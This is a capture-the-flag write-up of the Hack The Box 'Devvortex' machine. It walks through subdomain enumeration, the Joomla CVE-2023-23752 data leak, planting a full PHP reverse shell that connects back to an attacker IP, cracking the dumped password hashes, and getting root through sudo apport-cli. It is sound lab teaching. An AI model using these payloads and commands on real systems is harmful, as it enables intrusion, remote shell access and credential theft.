HTB Devvortex Writeup
Introduction
Devvortex was a nice and simple challenge focusing on the exploitation of a Vulnerable joomla service. The privesc required a little bit out of the box thinking as it wasn’t the way to exploit it wasn’t straight forward
If you like any of my content it would help a lot if you used my referral link to buy Hack the box/ Academy Subscriptions which you can find on my about page.
Initial access
Recon
To start our recon off we will start with an Nmap scan of the machine. using the following command
1
sudo nmap -sS -A -o nmap 10.10.11.242
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Nmap 7.94 scan initiated Mon Nov 27 14:16:28 2023 as: nmap -sS -A -o nmap 10.10.11.242
Nmap scan report for 10.10.11.242
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=11/27%OT=22%CT=1%CU=36402%PV=Y%DS=2%DC=T%G=Y%TM=6564EB
OS:27%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST
OS:11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 23.55 ms 10.10.14.1
2 23.64 ms 10.10.11.242
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 27 14:16:55 2023 -- 1 IP address (1 host up) scanned in 26.82 seconds
Looking at the main website it didn’t look that interesting at first, it’s a onepage website without any real info on it nor functionality to exploit.
My next step was to look for if there were any subdomains i might have missed.I was able to do this using the following wfuzz command. I used the –hl parameter to filter out all messages with a length of 7 because we are specifically looking for pages that had actual content and not a redirect. The wordlist i used is part of the DNS discovery directory of seclists.If you don’t have it yet you can download it here: Seclists
1
sudo wfuzz -c -f sub-fighter -Z -w ./subdomains-top1million-5000.txt -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" --hl 7
This showed us that there was subdomain called dev
On first sight this page looked the same however when doing some enumeration on the directories i noticed that the robots.txt which disclosed that joomla was being used.
Seeing that the website is made with joomla my first thought was to run joomscan. This tool will enumerate typical joomla files to figure out what version its using and maybe disclose other interesting info. Run joomscan as following:
1
perl joomscan.pl --url dev.devvortex.htb
Which tells us its running joomla version Joomla 4.2.6.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://dev.devvortex.htb ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.6
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://dev.devvortex.htb/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://dev.devvortex.htb/robots.txt
Interesting path found from robots.txt
http://dev.devvortex.htb/joomla/administrator/
http://dev.devvortex.htb/administrator/
http://dev.devvortex.htb/api/
http://dev.devvortex.htb/bin/
http://dev.devvortex.htb/cache/
http://dev.devvortex.htb/cli/
http://dev.devvortex.htb/components/
http://dev.devvortex.htb/includes/
http://dev.devvortex.htb/installation/
http://dev.devvortex.htb/language/
http://dev.devvortex.htb/layouts/
http://dev.devvortex.htb/libraries/
http://dev.devvortex.htb/logs/
http://dev.devvortex.htb/modules/
http://dev.devvortex.htb/plugins/
http://dev.devvortex.htb/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/dev.devvortex.htb/
Exploiting Joomla
Version Joomla 4.2.6 is vulnerable to the publicly known information disclosure exploit cve-2023-23752 The exploit code can be downloaded from github.
After getting the exploit code cd into it and install its dependencies with
1
sudo gem install httpx docopt paint
After installing the dependancies its possible to run the exploit to leak some sensitive data of the website using joomla
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
When trying to use this password for SSH it didn’t work so i tried to use these credentials on the web application. which did work.
A classic way to get code execution execution in CMS platforms is by editing a template. I chose to edit the offline.php file from the Cassiopeia template. Follow the following url and you can edit this file.
1
http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L29mZmxpbmUucGhw&isMedia=0
Then i uploaded the php reverse shell from Pentestmonkey. Below the code i adjusted and uploaded.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.194'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Then next up we need to browse to the template file location to trigger our reverse shell. http://dev.devvortex.htb/templates/cassiopeia/offline.php.
Moments later our reverse shell would open.
Lateral movement to Logan
So we have access to www-data user now, but this user doesn’t have much rights as far as i can see. But seeing we did get the credentials of the database user and password for the mysql server. First i listed all the tables using the following command. When prompted for a password i filled in P4ntherg0t1n5r3c0n##
1
mysql -u lewis -p joomla -h 127.0.0.1 -e 'SHOW TABLES;'
This gave us the following tables where we could see the naming convention for the tables.
1
2
3
4
5
6
7
8
9
10
11
<snipped for brevity>
sd4fg_user_profiles
sd4fg_user_usergroup_map
sd4fg_usergroups
sd4fg_users
sd4fg_viewlevels
sd4fg_webauthn_credentials
sd4fg_workflow_associations
sd4fg_workflow_stages
sd4fg_workflow_transitions
sd4fg_workflows
next up i decided to extract the password hashes from the sd4fg_users table.
1
mysql -u lewis -p joomla -h 127.0.0.1 -e 'select * from sd4fg_users;'
Which gave us the following output.
1
2
3
id name username email password block sendEmail registerDate lastvisitDate activation params lastResetTime resetCount otpKey otep requireReset authProvider
649 lewis lewis lewis@devvortex.htb $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u 0 1 2023-09-25 16:44:24 2023-11-27 21:07:25 0 NULL 0 0
650 logan paul logan logan@devvortex.htb $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 0 0 2023-09-26 19:15:42 NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} NULL 0 0
This output had two hashes included. The hash for lewis we don’t really need to try to crack since we already know his password. Add the hash of logan to a file.
1
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
Then run hashcat with the following parameters to crack this hash
1
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
So now that we know Logan’s password is tequieromuchowe can log in with it using ssh
1
ssh logan@devvortex.htb
Privilege escalation
When looking at what processes the user can run as sudo i noticed Logan was able to run /usr/bin/apport-cli with sudo.
1
sudo -l
Looking deeper into this I found out that apport-cli acts like less when doing something it wasn’t inteded for. This means the GTFOBIN entree of less would also be applicable. However when trying to run this it will say no pending crash reports. This means we need to force a crash report before we can actually try to abuse this.
for more info regarding this vulnerability check the cve
We can force a crash by first starting a process in the background i’ll make a process with sleep as this won’t impact the system too much
1
sleep 100000 &\
This gave us the PID 1978
Next up we attack apport-cli to this process with the –hanging parameter.I used this parameter because sleep looks like a hanging process because its just seemingly stuck.
1
sudo /usr/bin/apport-cli -P 1978 --hanging
This opens the following window. Here we press the V button because this will open Less as sudo.
Then fill in !/bin/sh in the prompt below
1
!/bin/sh
After pressing enter you will be taken into a root shell